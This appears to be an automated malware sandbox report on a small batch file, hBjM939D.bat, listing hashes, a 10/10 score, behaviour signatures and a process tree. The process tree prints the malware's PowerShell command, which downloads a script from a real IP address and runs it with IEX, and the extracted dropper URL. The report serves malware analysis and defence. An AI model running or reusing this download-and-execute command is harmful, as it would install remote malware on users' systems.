Analysis
-
max time kernel
135s -
max time network
150s -
platform
windows10_x64 -
resource
win10v191014 -
submitted
11-02-2020 19:10
General
-
Target
hBjM939D.bat
-
Size
198B
-
MD5
31f14e4e5545659b2edf91aedb0830cb
-
SHA1
e5489bc5f3b8f118e6fb0ba7f5f4a0223a33863a
-
SHA256
2f3a2162c69c2185edadd4cc4d60b0ef9f2d212d2d710f30e012b9878aefc0f1
-
SHA512
80298267b14e688189cfefabed44496c5c22a51c50c788ac72ed1b9ad4ab1848068308f1a7990665ebba4220a428cdb7a1a5695a3643ea395af7566726914562
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/hBjM939D
Signatures
-
Suspicious behavior: EnumeratesProcesses 18 IoCs
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 2 IoCs
-
Program crash 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\hBjM939D.bat"1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/hBjM939D');Invoke-MHYLWDFAYARXBSG;Start-Sleep -s 10000"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4980 -s 7043⤵
- Suspicious behavior: EnumeratesProcesses
- Checks processor information in registry
- Enumerates system info in registry
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
\??\c:\windows\system32\taskhostw.exetaskhostw.exe -RegisterDevice -SettingChange -Full1⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB